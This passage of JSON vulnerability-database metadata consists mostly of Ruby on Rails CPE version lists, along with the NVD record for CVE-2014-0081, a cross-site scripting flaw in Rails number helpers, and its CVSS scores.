"cpe:2.3:a:rubyonrails:rails:3.0.0:rc2:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.1.0:rc4:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.0:beta4:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.1.5:rc1:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.9:rc2:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.7:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:ruby_on_rails:3.2.14:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.3:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.1.0:rc8:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.11:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.1.0:rc6:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.1.4:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:ruby_on_rails:3.2.14:rc2:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.10:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.12:rc1:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.13:rc1:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.18:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.7:rc2:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.1.0:rc3:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.2.11:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.4:rc1:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.8:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.9:rc5:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.6:rc1:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.1.0:rc7:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.2.6:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.1.9:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:ruby_on_rails:3.2.16:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.0:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.0:beta:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.1.4:rc1:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.2.0:rc1:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.2.5:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:ruby_on_rails:3.2.14:rc1:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.2.3:rc2:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.8:rc4:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.1.0:beta1:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.16:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:ruby_on_rails:3.0.4:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.1.0:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.13:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.5:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.2.2:rc1:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.19:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:ruby_on_rails:3.2.15:rc1:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.2.3:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.2.10:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.1.8:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.2.13:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.2.15:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.7:rc1:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.2.9:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.8:rc3:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.20:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.6:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:ruby_on_rails:3.2.15:rc2:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.1.7:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.2:pre:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.1.5:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.9:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.2.1:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.2.3:rc1:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.1.2:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.0:beta2:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.8:rc1:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.1.1:rc2:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.1.0:rc2:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.9:rc3:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.2.0:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.2.4:rc1:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.1.1:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.1.2:rc1:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.1.6:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.17:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.2.7:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.2.13:rc2:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.9:rc1:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.8:rc2:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.1:pre:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.1.1:rc3:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.2.0:rc2:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.2.13:rc1:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.1.10:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.1.1:rc1:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.5:rc1:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.1.3:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.0:beta3:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.1.2:rc2:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.9:rc4:*:*:*:*:*:*"]}, {"lastseen": "2022-03-23T11:59:17", "description": "Multiple cross-site scripting (XSS) vulnerabilities in actionview/lib/action_view/helpers/number_helper.rb in Ruby on Rails before 3.2.17, 4.0.x before 4.0.3, and 4.1.x before 4.1.0.beta2 allow remote attackers to inject arbitrary web script or HTML via the (1) format, (2) negative_format, or (3) units parameter to the (a) number_to_currency, (b) number_to_percentage, or (c) number_to_human helper.", "cvss3": {}, "published": "2014-02-20T15:27:00", "type": "cve", "title": "CVE-2014-0081", "cwe": ["CWE-79"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2014-0081"], "modified": "2019-08-08T15:42:00", "cpe": ["cpe:/a:rubyonrails:rails:3.0.6", "cpe:/a:rubyonrails:ruby_on_rails:0.6.0", "cpe:/a:rubyonrails:rails:2.3.3", "cpe:/a:rubyonrails:rails:0.14.4", "cpe:/a:rubyonrails:rails:2.1.2", "cpe:/a:rubyonrails:rails:4.0.2", "cpe:/a:rubyonrails:rails:1.1.2", "cpe:/a:rubyonrails:rails:2.3.11", "cpe:/a:rubyonrails:rails:1.2.2", "cpe:/a:rubyonrails:rails:3.2.12", "cpe:/a:rubyonrails:rails:2.0.4", "cpe:/a:rubyonrails:rails:1.2.3", "cpe:/a:rubyonrails:rails:3.1.4", "cpe:/a:rubyonrails:rails:3.1.9", "cpe:/a:rubyonrails:ruby_on_rails:0.5.0", "cpe:/a:rubyonrails:rails:2.0.1", "cpe:/a:rubyonrails:rails:0.9.1", "cpe:/a:rubyonrails:rails:3.0.16", "cpe:/a:rubyonrails:ruby_on_rails:3.2.15", "cpe:/a:rubyonrails:rails:1.1.4", "cpe:/a:rubyonrails:rails:3.0.3", "cpe:/a:rubyonrails:rails:0.9.4.1", "cpe:/a:rubyonrails:rails:2.0.2", "cpe:/a:rubyonrails:rails:3.0.17", "cpe:/a:rubyonrails:rails:3.2.13", "cpe:/a:rubyonrails:rails:3.0.12", "cpe:/a:rubyonrails:rails:2.3.2", "cpe:/a:rubyonrails:rails:3.2.4", "cpe:/a:rubyonrails:rails:2.1.1", "cpe:/a:rubyonrails:ruby_on_rails:0.7.0", "cpe:/a:rubyonrails:rails:3.1.3", "cpe:/a:rubyonrails:rails:3.1.1", "cpe:/a:rubyonrails:rails:1.0.0", "cpe:/a:rubyonrails:rails:2.0.0", "cpe:/a:rubyonrails:rails:3.2.11", "cpe:/a:rubyonrails:rails:3.2.15", "cpe:/a:rubyonrails:ruby_on_rails:0.5.6", "cpe:/a:rubyonrails:rails:3.2.1", "cpe:/a:rubyonrails:rails:2.3.10", "cpe:/a:rubyonrails:rails:0.9.2", "cpe:/a:rubyonrails:ruby_on_rails:0.8.0", "cpe:/a:rubyonrails:rails:3.1.6", "cpe:/a:rubyonrails:rails:3.0.11", "cpe:/a:rubyonrails:rails:0.14.3", "cpe:/a:rubyonrails:rails:2.3.15", "cpe:/a:redhat:cloudforms:3.0", "cpe:/o:redhat:enterprise_linux:6.0", "cpe:/a:rubyonrails:rails:0.9.4", "cpe:/a:rubyonrails:rails:3.2.2", "cpe:/a:rubyonrails:rails:3.1.0", "cpe:/a:rubyonrails:rails:1.1.5", "cpe:/a:rubyonrails:rails:2.3.9", "cpe:/a:rubyonrails:ruby_on_rails:0.9.0", "cpe:/a:rubyonrails:rails:3.2.6", "cpe:/a:rubyonrails:rails:3.2.5", "cpe:/a:rubyonrails:rails:0.12.0", "cpe:/a:rubyonrails:rails:2.2.2", "cpe:/a:rubyonrails:rails:3.1.8", "cpe:/a:rubyonrails:rails:3.0.19", "cpe:/a:rubyonrails:ruby_on_rails:0.6.5", "cpe:/a:rubyonrails:rails:3.0.9", "cpe:/a:rubyonrails:rails:2.2.0", "cpe:/a:rubyonrails:ruby_on_rails:0.5.5", "cpe:/a:rubyonrails:rails:1.1.1", "cpe:/a:rubyonrails:rails:3.0.1", "cpe:/a:rubyonrails:rails:3.1.7", "cpe:/a:rubyonrails:rails:3.0.10", "cpe:/a:rubyonrails:rails:3.0.2", "cpe:/a:rubyonrails:rails:3.1.10", "cpe:/a:rubyonrails:rails:3.0.4", "cpe:/a:rubyonrails:rails:1.2.1", "cpe:/a:rubyonrails:rails:3.1.5", "cpe:/a:rubyonrails:rails:4.1.0", "cpe:/a:rubyonrails:rails:2.3.13", "cpe:/a:rubyonrails:rails:3.2.7", "cpe:/a:rubyonrails:rails:1.9.5", "cpe:/a:rubyonrails:rails:1.2.6", "cpe:/a:rubyonrails:ruby_on_rails:3.0.4", "cpe:/a:rubyonrails:rails:3.0.14", "cpe:/a:rubyonrails:rails:0.11.0", "cpe:/a:rubyonrails:rails:1.2.0", "cpe:/a:rubyonrails:rails:2.1.0", "cpe:/a:rubyonrails:rails:0.10.0", "cpe:/a:rubyonrails:ruby_on_rails:3.2.14", "cpe:/a:rubyonrails:rails:2.3.14", "cpe:/a:rubyonrails:rails:0.14.2", "cpe:/a:rubyonrails:ruby_on_rails:3.2.16", "cpe:/a:rubyonrails:rails:0.12.1", "cpe:/a:rubyonrails:rails:0.10.1", "cpe:/o:opensuse:opensuse:13.1", "cpe:/a:rubyonrails:rails:3.0.20", "cpe:/o:opensuse_project:opensuse:12.3", "cpe:/a:rubyonrails:rails:1.1.3", "cpe:/a:rubyonrails:rails:0.11.1", "cpe:/a:rubyonrails:rails:2.3.0", "cpe:/a:rubyonrails:rails:3.0.0", "cpe:/a:rubyonrails:rails:3.0.13", "cpe:/a:rubyonrails:ruby_on_rails:0.5.7", "cpe:/a:rubyonrails:rails:4.0.0", "cpe:/a:rubyonrails:ruby_on_rails:0.8.5", "cpe:/a:rubyonrails:rails:3.0.8", "cpe:/a:rubyonrails:rails:3.2.3", "cpe:/a:rubyonrails:rails:4.0.1", "cpe:/a:rubyonrails:rails:2.3.12", "cpe:/a:rubyonrails:rails:3.0.7", "cpe:/a:rubyonrails:rails:0.13.0", "cpe:/a:rubyonrails:rails:2.3.1", "cpe:/a:rubyonrails:rails:1.1.0", "cpe:/a:rubyonrails:rails:3.2.10", "cpe:/a:rubyonrails:rails:3.2.0", "cpe:/a:rubyonrails:rails:2.3.4", "cpe:/a:rubyonrails:rails:3.2.9", "cpe:/a:rubyonrails:rails:3.1.2", "cpe:/a:rubyonrails:rails:0.14.1", "cpe:/a:rubyonrails:rails:0.9.3", "cpe:/a:rubyonrails:rails:3.0.18", "cpe:/a:rubyonrails:rails:3.2.8", "cpe:/a:rubyonrails:rails:2.3.16", "cpe:/a:rubyonrails:rails:0.13.1", "cpe:/a:rubyonrails:rails:2.2.1", "cpe:/a:rubyonrails:rails:1.1.6", "cpe:/a:rubyonrails:rails:1.2.4", "cpe:/a:rubyonrails:rails:1.2.5", "cpe:/a:rubyonrails:rails:3.0.5"], "id": "CVE-2014-0081", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-0081", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}, "cpe23": ["cpe:2.3:a:rubyonrails:rails:3.0.12:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:2.0.4:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:2.3.2:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.2.8:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:2.3.10:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:1.2.6:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:2.3.0:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.1.0:rc5:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.14:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.6:rc2:*:*:*:*:*:*", "cpe:2.3:o:opensuse:opensuse:13.1:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:0.9.4:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:4.0.1:rc2:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.0:rc:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:1.1.3:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:2.3.11:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.2.12:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:0.10.0:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.2:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:0.9.3:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.1.0:rc1:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.1:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:2.0.0:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:2.3.3:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.2.15:rc3:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:ruby_on_rails:0.6.5:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:2.3.16:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:0.14.1:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:4.0.1:rc1:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:2.0.0:rc2:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:0.11.1:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.10:rc1:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.2.2:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.2.4:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:ruby_on_rails:0.5.7:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:0.9.4.1:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.0:rc2:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.1.0:rc4:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:0.9.2:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:ruby_on_rails:0.9.0:*:*:*:*:*:*:*", "cpe:2.3:o:redhat:enterprise_linux:6.0:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:2.3.12:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.1.5:rc1:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.9:rc2:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.7:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:ruby_on_rails:3.2.14:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.0:beta4:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:2.0.2:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:0.11.0:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.3:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.11:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.1.0:rc8:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.1.0:rc6:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.1.4:*:*:*:*:*:*:*", "cpe:2.3:o:opensuse_project:opensuse:12.3:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:4.0.0:rc2:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:ruby_on_rails:0.8.5:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:2.0.1:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:0.14.2:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:ruby_on_rails:3.2.14:rc2:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.10:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.12:rc1:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:2.1.1:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:2.2.1:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:2.1.0:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:2.3.1:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.13:rc1:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.18:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.7:rc2:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:0.9.1:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:1.1.0:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.1.0:rc3:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.2.11:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.4:rc1:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.8:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:4.0.1:-:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.9:rc5:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.6:rc1:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.1.0:rc7:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.2.6:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:2.2.0:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.1.9:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:4.0.0:beta:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:0.14.3:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:ruby_on_rails:3.2.16:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:2.2.2:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.0:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.0:beta:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:1.9.5:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.1.4:rc1:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:2.0.0:rc1:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.2.0:rc1:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:1.1.5:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:ruby_on_rails:0.6.0:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.2.5:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.2.3:rc2:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:ruby_on_rails:3.2.14:rc1:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.8:rc4:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.1.0:beta1:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:1.2.5:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.16:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:ruby_on_rails:3.0.4:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:0.14.4:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:1.1.1:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:1.1.6:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.1.0:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.13:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:4.0.1:rc3:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.5:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:4.1.0:beta1:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.19:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.2.2:rc1:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:1.2.0:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.2.3:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.2.10:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:2.1.2:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:ruby_on_rails:3.2.15:rc1:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.2.13:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:1.2.4:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.1.8:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.2.15:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.7:rc1:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:ruby_on_rails:0.5.0:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:ruby_on_rails:0.7.0:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:2.3.14:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.2.9:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.8:rc3:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.20:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:1.1.4:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:1.1.2:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.6:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:ruby_on_rails:3.2.15:rc2:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:1.2.2:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.1.7:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:4.0.0:rc1:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:0.10.1:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.2:pre:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.9:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.1.5:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.2.3:rc1:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:ruby_on_rails:0.8.0:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.1.2:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.0:beta2:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.2.1:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:0.13.1:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:4.0.1:rc4:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.8:rc1:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:4.0.0:-:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.1.1:rc2:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.1.0:rc2:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.9:rc3:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.2.0:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:0.12.0:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:0.13.0:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.1.1:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.2.4:rc1:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.1.6:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:ruby_on_rails:0.5.6:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:2.3.9:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.17:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.1.2:rc1:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:2.3.4:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:2.3.15:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.2.7:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:4.0.2:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.2.13:rc2:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.9:rc1:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.1:pre:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.2.0:rc2:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.1.1:rc3:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.8:rc2:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.2.13:rc1:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.1.10:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.1.1:rc1:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:1.2.1:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:1.2.3:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.5:rc1:*:*:*:*:*:*", 